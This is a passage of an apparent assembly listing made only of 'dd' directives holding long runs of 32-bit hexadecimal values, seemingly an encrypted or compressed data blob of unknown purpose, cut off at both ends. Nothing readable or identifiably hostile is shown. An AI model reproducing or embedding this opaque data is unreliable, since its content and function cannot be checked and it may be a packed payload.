8CC05742h, 12005592h dd 0C26597F7h, 28816D44h, 3CC7711h, 0C967159Ch, 280208E1h dd 0C787714Ch, 31FC80ACh, 1B75DCh, 0A320B8A7h, 5D22E728h dd 1F8C6D58h, 60019CDFh, 0F1E5719Bh, 407F4820h, 727D3726h dd 76DD7000h, 0CF9A0E20h, 32AB28DFh, 0D9C900E0h, 3D3AB950h dd 52031504h, 0FB817B26h, 5B41FF2h, 8545C7BAh, 8178C468h dd 50A501D6h, 94441580h, 1093C4A0h, 55A878C7h, 0B10C8190h dd 0DA8600B9h, 0C9E5A388h, 30187A03h, 87A1E40Bh, 70F08021h dd 0B5EC5718h, 20D7C8E8h, 0FA0228FBh, 0D9BC73E6h, 7E7448E2h dd 808990A9h, 544EB498h, 60DC8D4h, 25CE5D49h, 0A076E871h dd 0EB7870C0h, 0EEBF7B75h, 0E830ACB4h, 4D6A11E6h, 5CD284DEh dd 7F2F4502h, 78CCC480h, 2D26668Ah, 160310A6h, 0F0A09DACh dd 92726508h, 10A21248h, 351408C6h, 1DA3C285h, 0B0B9BFC3h dd 49109E99h, 0E280DCC9h, 6B5D5CDAh, 67F04C00h, 84B87D8h dd 0F00FD15h, 0AC30AD99h, 575851D6h, 5960380Ch, 92335F81h dd 3327F03Bh, 18C80024h, 54AC4821h, 0E03E5007h, 0C25D007Eh dd 70819306h, 0C600860Ah, 0E28E8AC1h, 0F5CC94Fh, 5B36CA7Ch dd 8CB85529h, 2C6E213Ch, 0E39720F9h, 24C827E1h, 0C0504B7Eh dd 0A45C94A3h, 7850A61Fh, 46014828h, 8097B3ADh, 808175FDh dd 1A6EF05Ah, 0C0B06B21h, 1C3125Eh, 619C0018h, 8A387581h dd 7DE62A7Ch, 52FA9C75h, 0AFC12E0Ah, 0C207C88Dh, 331F8891h dd 0B64F1000h, 246A89D2h, 784D798h, 6037E8FBh, 0E45A0FF6h dd 0CA580D50h, 0C268C70Fh, 0C11560DCh, 78EBAAh, 0DDF2D451h dd 81D79A91h, 480180F0h, 13D5C412h, 0AEC8D17h, 0AC7C00CFh dd 9CF60EA5h dd 0DC00C82Ch, 327F13D4h, 792EF1D2h, 0C7ED0029h, 49A01E5Ah dd 0D9300DD6h, 0FFB43009h, 912080DEh, 683EFBFFh, 6759866Ch dd 858A465h, 0D9DE4890h, 5616AA00h, 3ACC330h, 0F8B225C4h dd 4488A6C5h, 0D901DF15h, 810A8323h, 99BA9DDDh, 0D6A21886h dd 0C0FB515Fh, 5229C30Ch, 4F0408A7h, 7A2309DEh, 77D02AF8h dd 63EE400h, 731DA98h, 0FD820670h, 3032AE6Bh, 0CEDB5600h dd 58D9B03Ch, 0A0970014h, 1C2E68BEh, 3E00F373h, 0FFD4F171h dd 6D9AF769h, 1078B0F5h, 2F12E904h, 68A04B73h, 35147434h dd 7A0C4E1h, 39532083h, 162A60E0h, 0B2ED1806h, 27D1802Dh dd 33544D07h, 2EAFA6C6h, 0E8620A71h, 7472400h, 3F49C9h dd 5ED42CEEh, 4B6FF15Ah, 8AF83C03h, 58C9436Ah, 0E80AC288h dd 44C8CAF0h, 310488AEh, 63D98B15h, 3CD040A0h, 0A974617Ah dd 78588304h, 5A00CB99h, 833517Fh, 36DBD8C0h, 188D62E6h dd 51A77547h, 0F1FC0F46h, 0AD6DC607h, 0A134EB2h, 911000FBh dd 74659CCDh, 7972B3BDh, 0C30EE52h, 0B09873C7h, 6E48A8C3h dd 0D56F003Fh, 0B0B5812Ah, 0D9400AF8h, 4F8401BEh, 6128DC09h dd 0F03020DDh, 2BC62601h, 0D2FFAE46h, 5352F8h, 3C7BB05Dh dd 2906C4E3h, 34283300h, 0EDC98E10h, 608974A0h, 32ECD91Eh dd 0A1077333h, 0CF50E2BAh, 0D0B2C663h, 788700Fh, 0DBF7528Ah dd 0BD7A92A4h, 51A5F4A0h, 1E015813h, 44A9AB7Fh, 0BD1AA46h dd 0EA028824h, 0E0850099h, 0B4FCF595h, 0E6002993h, 51BD761Ch dd 1A8BA9B8h, 0BEB6D12Fh, 1EF68420h, 8D00408Eh, 27F3A960h dd 56418C7h, 5EA4DE46h, 0CF405D77h, 0F7E2A313h, 0ED11AEDFh dd 9AF40510h, 0E5946300h, 19F0034Fh, 9C2648ACh, 0C275E181h dd 0BA16F86Eh, 0D64E7107h, 0CE400939h, 15B6815h, 984529C9h dd 82476BFBh, 2B4E56A1h, 0E1A88011h, 12237840h, 408C0B73h dd 2A7E8160h, 0B70EB170h, 9A7431h, 26EBF56h, 41FEA4h, 4665C70Ah dd 73E12ADBh, 90A17A1Eh, 0E3AF6B80h, 0A0725F0Fh, 1811CEh dd 0BFAA44DFh, 0CCEAA3ECh, 65CD9C00h, 5A73E4F8h, 23F2EDh dd 0ACFCBD69h, 2EF610Fh, 80FE1F00h, 3FBE58F1h, 15113F46h dd 7263F704h, 5E08C073h, 5A005559h, 0EE3D625Ch, 0BCCD50h dd 0DEFD6531h, 0B42C9281h, 0C089641Fh, 119459C0h, 24B246h dd 0E2B0E109h, 28C4E69Dh, 0AFA7413h, 0DF274C01h, 1CCAA34h dd 0F08BECBDh, 38A200B6h, 8CB51A1Bh, 0FE072B49h, 1E96F3B7h dd 81976E92h, 9E5ADC04h, 0F689AC70h, 16F2396Ah, 0A99CE380h dd 0A73AAA2Ch, 5C8B9D1Dh, 0DBF69800h, 155E89Bh, 56C0188Ah dd 6A3F7054h, 2975E0h, 7661BA9Eh, 8F505A12h, 85534D00h dd 1AC59C2Ch, 4C3800EFh, 0BCF52A3Bh, 1201FE9Ah, 0DB7E37C9h dd 50E1621Ch, 4AFE60h, 64AE427Ah, 0FFDAA622h, 0AD7817ECh dd 0B6F9A400h, 3E7231F8h, 0BDF20091h, 9DECC03Bh, 9E01C20h dd 0FB3F0400h, 3DD45D8h, 6F720174h, 284F7BC0h, 0E26AC849h dd 22C21507h, 0CF40C93Eh, 0FF4DAE6h, 6486E495h, 1C7043A2h dd 30AA3441h, 8F0E74D8h, 2E9B84CBh, 67892304h, 70380FBAh dd 0C04155D9h, 88935C78h, 8089DF29h, 0E4E507E0h, 54442D70h dd 2336447Fh, 61839D44h, 1DC1512Ch, 0A2500306h, 9CC70286h dd 0DCAFE100h, 24B92E9Eh, 0F3C2CC7h, 0B6E1D3F1h, 0D080DB93h dd 6C1FFCF6h, 0C5C1A7C4h, 0CA08E92Fh, 630008BFh, 0FC768847h dd 0C800972Ch, 62ED71CEh, 429DAAh, 7EEE3A2Fh, 5069B1D3h dd 84811AC1h, 29E403AFh, 9CF71E0Eh, 0ACB741CFh, 0C88356CEh dd 0A50F9692h, 5D73F5h, 3A4AFF7Ch, 0CE63007Eh, 75323488h dd 0E00A318h, 60A5BBFCh, 3F14EFD1h, 0CE006840h, 78F5C42Ah dd 0FE0074C1h, 0EF061A20h, 3F77D24h, 66C7615Eh, 0C08864C3h dd 8180B4Eh, 2051E6DCh, 0D39E1479h, 1F00D432h, 232D5C6Ch dd 0FF00B303h, 0D0A75029h, 197451h, 0CA26D279h, 57E0DDB8h dd 12159900h, 3F56C7CCh, 0F25A00BEh, 0AF1383E5h, 0C094059h dd 8005C8F4h, 0B16E335h, 0BC29094Ah, 8C07881Dh, 7982E028h dd 6700400Ch, 0BD3FD258h, 0E691BBh, 161B629Fh, 7A653BC1h dd 53CD300h, 269E6814h, 7D5D00BEh, 38F096A6h, 0F5009331h dd 666D37F9h, 0E368ED2h, 39919D16h, 0B05BC9A0h, 0C4484148h dd 953E57h, 0C82B2ED0h, 71A4C715h, 4A5B00F2h, 7DD4D14h dd 4900CFB2h, 0D2370EA2h, 7C248FCh, 91B1CE31h, 70D3576Ch dd 4A541196h, 46940F00h, 0C2EC7313h, 23010105h, 1450809Bh dd 0EEF02081h, 7DF2620Eh, 68614197h, 72C0F948h, 11B500ADh dd 31B09FC0h, 2000EA18h, 966E7E05h, 712570h, 0AD356FC5h dd 0DF791D5Eh, 0B002B907h, 4A0F85Bh, 663C7Dh, 9A5F67B6h dd 0E8D5A2CDh, 54102003h, 9849E201h, 0FEA2B71h, 0D7F70256h dd 949877C0h, 3D004817h, 0EE5C0E33h, 6BCAB3h, 0CBBCFF4Ch dd 86401A8Dh, 58EBC600h, 8B1D0953h, 12B50094h, 0E5730D82h dd 0AD00D9DEh, 103F0575h, 0FC0830h, 0C743372Dh, 76EB457Dh dd 32806C00h, 54EAD74Fh, 5EB3242Fh, 3792009Ch, 0D6C3F44h dd 30C4AD3Ch, 9DF4080Ah, 0E23C0083h, 0D6B10965h, 3703FF2Fh dd 0AC102BD5h, 7B1EC0CCh, 0FA4F0089h, 29C73665h, 38F8E6B3h dd 49531900h, 5B897999h, 7D6B8D4h, 0C9522986h, 33EA117h dd 0E3FC4897h, 0C15BED0Eh, 807EEB09h, 5C5EF934h, 5D771C72h dd 7493C0A0h, 0F4FE5AA2h, 358E6700h, 0E140B0E8h, 17233E9Ah dd 6C488683h, 598BEF3h, 0B903C6ECh, 39A4E3Bh, 3A6E8063h dd 16190FA5h, 5C37DE7h, 7388B6B0h, 90001BC9h, 0BBA00B1Dh dd 7467BC7h, 0C53D1310h, 2CF61197h, 0C080F29Bh, 1FA718D5h dd 0DBFFA900h, 61327898h, 46740311h, 0C4D986F0h, 9A959CE0h dd 0F837B10Eh, 0C34E8EE0h, 0E833DC44h, 0EF70B1Eh, 0B0E42289h dd 0BBAC1883h, 65C130C2h, 85FE0C4h, 76A5F501h, 0B4B20D23h dd 31955E4h, 0FE106DB7h, 75B83368h, 8E023869h, 15D8E1E9h dd 5604A0F1h, 5F7778h, 0A5856EA0h, 0EAF4DCC4h, 0E3FB951Fh dd 0C1D7BE40h, 5B7A3Eh, 92FC99F3h, 1C35795Ch, 9E0F6E70h dd 0E71B88h, 660BECDCh, 97930638h, 0CC15949Bh, 0A0A3E500h dd 4C3A7127h, 0A5F102B9h, 0E1B2471Eh, 24CD0140h, 5EC16B00h dd 9CD57E9Fh, 3C9B7B2Dh, 7D0044CFh, 0F2BA6154h, 2C0016DAh dd 2B837184h, 0C403D0h, 0B6019D8h, 0F16C3415h, 0F910D900h dd 86748F27h, 0CAB6006Eh, 380667D7h, 331C45CBh, 0BF00CF70h dd 34B5A921h, 856639F7h, 0E3EC5F80h, 3C95C5B6h, 46D68600h dd 6FE01193h, 49F478h, 5C756CEDh, 7F7B0AEFh, 52BCA800h dd 535FB686h, 0D6DF0073h, 0F6C448FFh, 0D8287609h, 0A55AD021h dd 0FE0038B8h, 0C9189F7Fh, 0DF076284h, 16784A10h, 0E37EC890h dd 57550798h, 0E6ED63C7h, 0A70309C9h, 5E749B3Eh, 12D904Ah dd 0C2CC00B5h, 0E993FB94h, 0B0A8F7D1h, 0D70AE861h, 0D0F0B5F3h dd 969EB080h, 0B0EDCE12h, 159001Eh, 7C52B2F4h, 0D800322Dh dd 1A8E93A3h, 1FB0F16h, 0A21B55BDh, 0DCF912EEh, 0C4001CB6h dd 0C6C0D21Eh, 79F2997Fh, 9AB31C47h, 7BF0C0AFh, 0DFB1FCE2h dd 2235E803h, 0E0623D58h, 92ECB2h, 3A5BF46Eh, 0AA8B600Ch dd 4C00887Bh, 0DC651C28h, 5F46FEh, 0DADB8298h, 796986D5h dd 9D03CA00h, 0B57EE411h, 0AEEE0070h, 5D286634h, 4D72D70Ah dd 0BB462F00h, 0EC82287h, 5B00015h, 5E1D668Fh, 0D300821Fh dd 3887E23Bh dd 60D2CF1h, 0E551C3A0h, 700089Bh, 0F8946DFCh, 7E4DBFCFh dd 8ED10099h, 0E98DE145h, 0A8E882C5h, 0AF83E000h, 57CE2030h dd 0C0FD00A7h, 2E4D2540h, 5D0076F6h, 0FCE52D01h, 24FA43h dd 0D762A446h, 361A89F4h, 7F15D04h, 99C09042h, 763596h dd 0AD94E679h, 0ED0ABC6Eh, 0B22AF700h, 228B6188h, 0E64426FAh dd 0C51E01B5h, 0E4CE53F1h, 0F6015B67h, 161321CAh, 0C1DCDE7Ah dd 0A65C02D0h, 0BA0F9232h, 0D30D05C0h, 90EF40Eh, 0F6CB8074h dd 3F2E3Dh, 33A8DEDCh, 8D4494E9h, 69C1BD00h, 9209C08Bh dd 36B0611h, 9AFB8A51h, 6FEBB517h, 202FEB0Eh, 85F883DEh dd 0E375007Bh, 0B53F7107h, 0B3004DB9h, 51954345h, 803B04h dd 0A64424E0h, 5874D8DBh, 2A283E60h, 0CC13F4h, 9E7C1D5Bh dd 0A0FB4C4Ah, 0F8A91103h, 0C15925F2h, 0EDC8177Dh, 0F01A0098h dd 6B40D3CEh, 0BA036F3Dh, 0B1CBA6B3h, 90504841h, 1C036739h dd 3C0C6DF3h, 0EF59F7F0h, 0AC6B9109h, 0B58201BFh, 2EC40FBDh dd 0C220319h, 5A76D0B9h, 316AFDF8h, 57AE6303h, 0F8DD4CDEh dd 1437EF6h, 262B1164h, 0FCF02766h, 311F9BC2h, 2900B0DBh dd 2F1886A8h, 0D69005Bh, 0ECB1D1EEh, 0ED008905h, 972276E4h dd 1263AACFh, 0B0AD78AFh, 56076563h, 2E45E433h, 7D89E06Fh dd 6CA5E3h, 0EB81ECE2h, 0D28407ADh, 3600BD90h, 7301CC88h dd 0F9C0DDh, 8D749656h, 31471BD4h, 220D0600h, 0A86BA0C6h dd 30273A5Ch, 7F234100h, 3C3F3B75h, 8315E903h, 702AE1D3h dd 64BB00FAh, 0FB9F5C25h, 0CB01EAF6h, 8BCE4044h, 0AC30D551h dd 0B92C50E2h, 35340084h, 0CEDFE3E4h, 20007F01h, 4C197973h dd 7F0C0EBBh, 3FA80045h, 12BC991h, 0AA1783B3h, 90008BDAh dd 5088F8B0h, 94580352h, 0CE78BDAFh, 0DCA6E0B8h, 845CAB1Ch dd 0FF53C800h, 0F8BE90h, 2BD94CFCh, 0A27B52F1h, 0F99F7C12h dd 8CAB5300h, 0D63A8Fh, 4AEAACB4h, 0BD37A062h, 55CDA100h dd 0F91E14BAh, 78A00FEh, 27588392h, 0E526AD13h, 78008AEFh dd 0C5D39768h, 72E70004h, 7B137E66h, 0D500CECBh, 4B5B05F0h dd 3E709Bh, 62B6509Fh, 0C3B7E75h, 0CE35DF00h, 0A1995CB9h dd 0E45103DEh, 0F1BAE530h, 238A81E8h, 72641F00h, 0DDB847EAh dd 9FCE00F4h, 3F73BBABh, 0A6763E44h, 9EEBA300h, 7E208334h dd 709907B3h, 605CEFCAh, 871F6450h, 6C823D00h, 1840CDA5h dd 0EA5BFA1Ch, 5F7231h, 0E6161FA6h, 0F596DFC4h, 0D2047376h dd 929C34DCh, 80D42EC3h, 78ACC225h, 0F37C008Dh, 0F89BCC3h dd 9100CF4Fh, 0B9D5B433h, 0A67317h, 3CB841DDh, 3242A5E0h dd 93646900h, 523EA113h, 5F905Ah, 971C3DF7h, 46169B50h dd 0E168AD00h, 18F1FFDCh, 49DB0030h, 1F4108EFh, 80008655h dd 7EFC962Ah, 0C58762h, 1B544037h, 6125D6E5h, 53502701h dd 8F242E89h, 0F35770h, 73DE0B8Dh, 5D92BF4Bh, 0ED015A03h dd 89E86AC3h, 0CCC01A2Ah, 53660756h, 439E0Fh, 473FA304h dd 61D56D00h, 34B4683Dh, 17F2008Ah, 9D3302A4h, 421D8143h dd 24C0F4EDh, 8C251DC2h, 2BB0F5Fh, 0EE20A2A8h, 72D20DF2h dd 0E8036871h, 172F43D8h, 0F7758BA7h, 0B4616D70h, 0ABEF000Fh dd 2892419Bh, 8100C11Bh, 0F9AF4DC9h, 0B871930Eh, 1EACC1C2h dd 0E87650BAh, 24078CD0h, 4A7EE2CDh, 0BB28FEC0h, 0CAB4005Bh dd 31A66AEh, 0A607584Bh, 0EA1F6114h, 90215640h, 88D538ABh dd 8ABF3075h, 1032DD08h, 82C82900h, 0E1743350h, 34390766h dd 0E06092BEh, 0CD6F832h, 0D76EB700h, 0F7499AD2h, 3B917185h dd 0C4168204h, 8C8700E0h, 0F02C6F47h, 0B5973F18h, 299E830h dd 0A9F4B03Eh, 99409B34h, 58C0A3EEh, 0D509B9DDh, 6E146042h dd 9C903166h, 36BA4E00h, 0E5AB2F35h, 105060A2h, 999D1A0Eh dd 52D78C01h, 28A41847h, 0BD44E0h, 0D0C01023h, 65924941h dd 86536900h, 70D559F2h, 0F42050D8h, 183809F8h, 5005212h dd 4AB5B63Fh, 7F07A8F8h, 0BA16923Bh, 157535C1h, 0FA0544F0h dd 956F0285h, 0E3C410A4h, 94DC8C60h, 1261B3Dh, 0D66CBE7Eh dd 7AD8D431h, 76D8C0FFh, 0F1427881h, 8F60B73Fh, 603EFh dd 668DB6BBh, 67F90368h, 86C6305Ch, 39368480h, 0F381C900h dd 0C49188D9h, 52280783h, 8087CC1Dh, 0BECE194Bh, 0F647B300h dd 9DD11370h, 0D5E2000Ch, 68046FD2h, 9200A7ACh, 0E048F545h dd 16E4DDh, 0ADF89371h, 541936DAh, 7EC72000h, 0F2D1B525h dd 1E47009Dh, 3BF644DCh, 0DE03B063h, 0DF2AB304h, 0CB70EFD1h dd 50810A5h, 65B7754h, 511C1A3h, 7C8DF03Ah, 0F556FA00h dd 33682581h, 91AC0078h, 9B200AEEh, 0D272A887h, 9F43FF07h dd 4230E353h, 0F777B3h, 0F586786Bh, 55AA3862h, 0CFF98F00h dd 0FD691371h, 0E19A0070h, 650174D4h, 3400EC3Ah, 0F3D8C944h dd 917C43h, 0E4A4AC5Ch, 2BA3A889h, 3700BC70h, 10A7AB98h dd 3252EB3h, 5CC7D921h, 0EA99444Bh, 6C56E4DDh, 6852E500h dd 7C3C23F4h, 20D93A8Bh, 0FE769A86h, 5B03C835h, 3279F12Ch dd 98A78315h, 3BCCCACh, 4E6B7407h, 118809F5h, 0A400C050h dd 758B3AC1h, 2B7DFh, 0FFF97E2Eh, 8D97A1F3h, 7A001571h dd 499C52E0h, 0FEFDBD98h, 1D10447h, 0AACB5ACCh, 6AAB4080h dd 0BE970045h, 417F3A3h, 64580BF8h, 489F0766h, 589042FEh dd 0E129A9h, 53FDFB07h, 2FBEB44Eh, 0D8B23800h, 3A3E85A2h dd 59B60076h, 966063E9h, 507365Ch, 3C8045F4h, 0CAF2E07Fh dd 1464ACFAh, 0BC30228Eh, 0A311401h, 24025DE6h, 0B4000CF4h dd 7D967C10h, 867664h, 0A4BA93FBh, 2B8AB8B3h, 945338C5h dd 86CAB7C0h, 9AA80091h, 0F5CDD5EFh, 8200BCADh, 58FB7D41h dd 2E7EA99Bh, 47B86Fh, 0D616A11h, 0A00B66Eh, 0BFCBB529h dd 0F4D40BCh, 6CE89262h, 9EFC0C20h, 0BE0019DDh, 70166964h dd 0F794D7h, 271E39FFh, 0D90F71B5h, 98398D70h, 52F00D4h dd 0DE6560DDh, 0AEC6008Bh, 7D5B5459h, 7E000233h, 10BCBB99h dd 1671F2EBh, 4E0912h, 92FE8A5Bh, 0C8EFCCE0h, 426088Dh dd 888B54A8h, 1BC400DCh, 7C8F65Fh, 60855592h, 0FD070025h dd 0AE0EE498h, 60B2E549h, 0F3019EB6h, 7D7A0341h, 95888639h dd 0FC63E1B0h, 2C518F26h, 20D2240Fh, 0CBFAFD26h, 0C4A0625h dd 7E95F0E3h, 0A1ACF200h, 67520859h, 4E3C0012h, 0F01A17C0h dd 5D00E464h, 8937259Eh, 0C1CDF5h, 487D5680h, 0A92728ACh dd 96D74403h, 0E1D6C7D5h, 68E0C591h, 21C0052h, 66AAFBFDh dd 0EF002A55h, 642285BCh, 0EAFC75F1h, 0B6DB0192h, 5DAAC791h dd 6193EC98h, 4A2EA900h, 9F3B5A3h, 10B800CCh, 38CF9184h dd 0E00999B4h, 960057Eh, 0B7288243h, 8F1C4083h, 2DEE063Bh dd 0EA7F3F9Ch, 0BDB38C05h, 2087F6FBh, 0C89E1543h, 4FD0DAh dd 0BC4D9679h, 6D651AFAh, 7A2A7B01h, 0CED2E84Ah, 0B052E460h dd 4FEB132Bh, 2D040F74h, 479698C0h, 2F033B26h, 67B4DEEDh dd 0E43CF816h, 0FF3FA38h, 255944A2h, 6908C980h, 63001592h dd 0D1145C4Bh, 1E36FDB4h, 81F6A27Ah, 0B82D38Dh, 526BCC02h dd 0F185FB00h, 0BB8681E5h, 5B4000E1h, 69A43019h, 4A73AFC1h dd 0CA004CE4h, 455F99B8h, 0BB15D8h, 78D4040Dh, 0BAF4369Eh dd 6E0041F0h, 0E56113FAh, 179A677h, 1C0C8026h, 0E8888E39h dd 0F51870E4h, 0C84024A0h, 0B4142478h, 0FF9B0EE5h, 0B66A0821h dd 0F5E0D8CCh, 1CBB1C4Ch, 0C9DF30Bh, 7FC22C80h, 1AAF6Dh dd 21AD36D5h, 7758F6D2h dd 0D7D4EB00h, 0BC1CB0A8h, 37C6043Ch, 0C0B93243h, 0AF221AFAh dd 0D20FB4E2h, 603FF24Ch, 5DA6480Fh, 77713524h, 9DE8636h dd 9856B300h, 0B10ADB97h, 0D3191689h, 69EB0180h, 0F8532583h dd 503E38E6h, 19080088h, 0DC3F562Bh, 3B91E6D9h, 1DD83426h dd 98288B00h, 0C5945A0Ch, 820093FEh, 0FB48E196h, 6C991Fh dd 0AFA64F7Fh, 0D2372DBFh, 472691Ch, 0BC00C057h, 78F3254h dd 6BD40079h, 28A91D39h, 0D3DD6BAh, 3FBB038Bh, 0B8DA7485h dd 1A9D6Bh, 9899BC1Fh, 143D6F80h, 0EAEEDB00h, 5FE9BB18h dd 0C36B06CBh, 11023E4Ah, 43003E98h, 974E9DDCh, 6D5AA6h dd 7B401ED8h, 8677C035h, 0FA068103h, 0C248283Fh, 0BE3B60B2h dd 363900B8h, 0EE6DEB7Eh, 0E87887DBh, 2E863400h, 0B7E7E0A9h dd 0A7251DA2h, 33CE0094h, 99FEF1AAh, 0EAC37000h, 7469F019h dd 25F60028h, 0A4D695D7h, 0CA00989Fh, 22B11D15h, 0C007D91Eh dd 4239AF30h, 4400E386h, 0B266EBC7h, 2ADA64h, 0FBE3CBAh dd 0F8D0E5A4h, 7A533F01h, 0AA95CD05h, 3196570h, 0CEB00768h dd 0B097BC55h, 0F6B75A4h, 0D908A660h, 4F079Fh, 0EE091576h dd 2CCB18C5h, 8B69EF0Ah, 0F8238660h, 0CCA2873Fh, 4750A8F7h dd 0BB54C42h, 2A04E32Eh, 48D50180h, 0EB014E27h, 90A4376Eh dd 0A8311BFCh, 199CE8h, 867936EFh, 0C7E8E2FFh, 0D8973129h dd 1E0B6501h, 50203A90h, 339F070Ah, 50322F19h, 0D1229312h dd 5C65CB07h, 8BC0B852h, 9ADC33h, 88A454F1h, 0AF6BA924h dd 0D0CB0900h, 96A72127h, 0BD5C0128h, 72222E95h, 90B98077h dd 7FC4D233h, 18801E6h, 0C1F8E36Dh, 95496038h, 311E4800h dd 0EF094F62h, 514B58FDh, 1076FC03h, 89D8A27Bh, 7E006899h dd 64966B52h, 0EA63F29h, 2D2C4749h, 0EA05C3A3h, 0C92AE590h dd 0E97CE300h, 48DD6502h, 0F63600AFh, 56D2C41Fh, 0F3002977h dd 502EF70h, 2EB9465h, 69BC9ADEh, 0EC4AA618h, 4293C0DDh dd 2431013Bh, 0C2050CB4h, 3921D8FFh, 0B82C0770h, 4B00F07Fh dd 7BE63242h, 0DDD400BAh, 0A314766Fh, 0AC01128Dh, 8081C2B3h dd 63EC474Fh, 13100AAh, 138954C4h, 99777FD5h, 5F072000h dd 0A909A1FDh, 0EDA7017Bh, 67C3FB65h, 0F8A5DDBBh, 0F3EFAEF1h dd 5168AAA0h, 489D3130h, 48AC66h, 87FC5288h, 5565AE74h dd 0C2536801h, 0FDB0ED6Dh, 0CF167F0h, 944FBD64h, 0E7190980h dd 0A6505B06h, 2ED44987h, 0FFB35007h, 0F550AE89h, 35015E1Ch dd 0DE68B1E4h, 0AC7BF44h, 0BE5AFB30h, 0F4450C68h, 88C08480h dd 61C7AE3Ah, 8B10A0A3h, 39C26066h, 0AEF39DA4h, 86924700h dd 9E652667h, 6B58004Fh, 74EE322Eh, 3D75D8F1h, 25240803h dd 9803BE52h, 1E51CEF2h, 20BE47Ch, 431C1EF1h, 0E08B6075h dd 92610076h, 0AB58673Bh, 53009BB2h, 0E35FE76Dh, 2760BCh dd 0CA1C8D55h, 3A9526F5h, 510B8A00h, 0BF62862Fh, 5D17004Ch dd 27890358h, 0C901F235h, 0EFF53FB1h, 0D2E434B4h, 307AE0h dd 0CC2CB0FBh, 78EE68EAh, 3B68300h, 0D002C18Ah, 64E10055h dd 3F2C48B9h, 0F4006C52h, 4096F0CCh, 39C184h, 0F1B13D7h dd 0BE073F2Fh, 6C91D00h, 451EE6E4h, 3C8C3E70h, 20C06079h dd 34117765h, 0F2D21702h, 0FB6E7EDh, 0EA0A1380h, 0F00C5C16h dd 312A039Ah, 55790B4Ah, 8E07420Dh, 0AF408EEEh, 1F858D51h dd 90004490h, 1062A43Bh, 0AD3768h, 0F2EE87D1h, 0E8AB05F4h dd 3833E700h, 48D984C7h, 68986973h, 3C06D780h, 7E0058ADh dd 5D858710h, 0E59EAA2Fh, 5DB588Ch, 99171C98h, 1505A1D5h dd 5800E806h, 5C2FD61Dh, 627502B1h, 0BF16894h, 0FB7ADDC0h dd 60794015h, 22F7009Ch, 8F8AE6E8h, 0ACB09Eh, 4D05F896h dd 15DBEADCh, 0CBA2C00h, 68727913h, 2FEF07A4h, 0F242949Ah dd 0B783FE95h, 0F0A8342Ah, 0EB3C6709h, 0A2A687B9h, 69C0B2D0h dd 0CC2D9ABh, 0A730705Eh, 5500EB18h, 2363781h, 82F856h dd 45942A4Fh, 879027A5h, 0E392500h, 0BA0C1F47h, 33440795h dd 208FE816h, 810332BCh, 0B042DB03h, 0A866F841h, 0D022D3BAh dd 0DFAC0461h, 46818A7h, 6038F17Dh, 4600D84Bh, 50ABEC9Bh dd 0F234E4h, 15A4262Ah, 91D357D7h, 1C2C7D00h, 8B228938h dd 0E0C3000Fh, 0A0697A54h, 0D03FA1BBh, 0A7C407B3h, 1D60AF42h dd 0F52CCD93h, 7D63ABD4h, 84A016Fh, 0A2AF458Fh, 0FE90F8C4h dd 82200B53h, 18398086h, 0B06E60Fh, 4FB45464h, 36BC1888h dd 0BD5BC982h, 7424EF01h, 6DE7F041h, 604A3FFCh, 34C1171h dd 0AC00FAA6h, 0E1C2B582h, 9F38C3h, 7DE20CA3h, 9A22834Bh dd 0FF3A1700h, 5957A488h, 52290093h, 0BC1E1840h, 0D03981Bh dd 0A5212B41h, 895090A4h, 78F80312h, 15F09911h, 366A6806h dd 1ED982A9h, 7984922h, 0D0184F30h, 0C1BD7358h, 0D8F8A70Ah dd 60B0B485h, 67936FF9h, 8219B082h, 45052037h, 58682040h dd 232CD692h, 0E3E3F119h, 20B0420Eh, 0B1D3EB0Fh, 8D4711C2h dd 85177E3Eh, 6CE6C030h, 0A838238Eh, 0F10EFBE0h, 2966003Bh dd 4F1D1C5Eh, 6E24872Bh, 0F5002791h, 0FD19597Fh, 0C1753D6Ch dd 81D8D11Eh, 16E569EFh, 0A91887F0h, 3F70F370h, 0F0BE64FDh dd 0D4C71EDBh, 202941h, 0BE162B60h, 684714B6h, 7680FBC8h dd 0D9F51FEEh, 0F4FEB6h, 437C5031h, 0CFD862F3h, 65D3A0Eh dd 8055CF78h, 3867D170h, 0F1B01Ah, 9DCA0B51h, 19BE131Fh dd 200152h, 93045D7Eh, 0AC908Dh, 0B71688D6h, 9029EF5h dd 290F737Ch, 60DCF8F6h, 994C0417h, 0CF85FE30h, 90A14FC4h dd 0D08AC6F3h, 4BF96AD4h, 55580F20h, 96E80408h, 0FC4FD921h dd 6E04DFF1h, 9174908Fh, 0BA231068h, 0F580B02Ah, 8123B647h dd 0E370E18Fh, 21A1C11h, 4551474Dh, 0B02F622h, 0FE0220EEh dd 2B840458h, 2076C0h, 67084FE9h, 3482E715h, 18242940h dd 66804020h, 4285F026h, 0C08005FCh, 8E64CD89h, 6B1C80h dd 0D6CFA43Eh, 744FE041h, 28D7A700h, 0D5CE19AAh, 0DCE80640h dd 1894137Fh, 0B38C5912h, 0DFA8C803h, 0D425E82Ch, 0ACBC7833h dd 87791C20h, 0A05161E3h, 0B148010Fh, 7C7E3EE9h, 0E0AC211Eh dd 1210F1BFh, 1E44C08Dh, 2C21CCB3h, 0B045131h, 6D19B301h dd 0A203A41h, 382EDC84h, 0FFB70A9Bh, 0F9A0E126h, 4404B08h dd 0CBE251B5h, 0E0B4212Ah, 3212EB03h, 203820AFh, 0C3B081Dh dd 0D600A357h, 0F3661756h, 44B44888h, 0AA2C6500h, 22D779F6h dd 0C8AC3424h, 5F801385h, 21168380h, 5187825h, 3246741h dd 0C20300Ah, 8F23B831h, 0B0F0EE21h, 86A2CC9h, 5E777C92h dd 1C0BC9F9h, 3986AF56h, 1080DC6Ch, 0F15E6B4Ch, 0A0155h dd 0EB382C7Eh, 8F569C52h, 0B0604594h, 23C44B35h, 0D1E422CDh dd 5505592Ch, 0E05EBE9Ah, 0ED10A02Ah, 0BF9D386Ch, 3C4C7Bh dd 0B29A0F42h, 31B65Fh, 29E18CC4h, 0D860A8D3h, 91810200h dd 0E018C62Ah, 3118CB34h, 80476084h, 32EFDB08h, 93CF4EEh dd 42056D9h, 3597B145h, 0BB84082Ah, 0C25758D8h, 0C5430D11h dd 0EA2F0F1h, 1C586127h, 0BC08408Fh, 6FD073A6h, 0C247F8C5h dd 788060CAh, 0E52B6AB4h, 0ECC46063h, 2104B63Ch, 1574855Fh dd 41C1F878h, 0D5C434E7h, 0F7C9B603h, 12C63E5h, 0D7544FADh dd 850A4E67h, 0EC8AB640h, 25044C4Ch, 2A3D68ABh, 84BBAC10h dd 0F1416C0Ch, 364C74E6h, 0A2021E48h, 282AEC56h, 0A735EC10h dd 40311A30h, 9702360h, 202C18E5h, 0CC11517h, 44E14084h dd 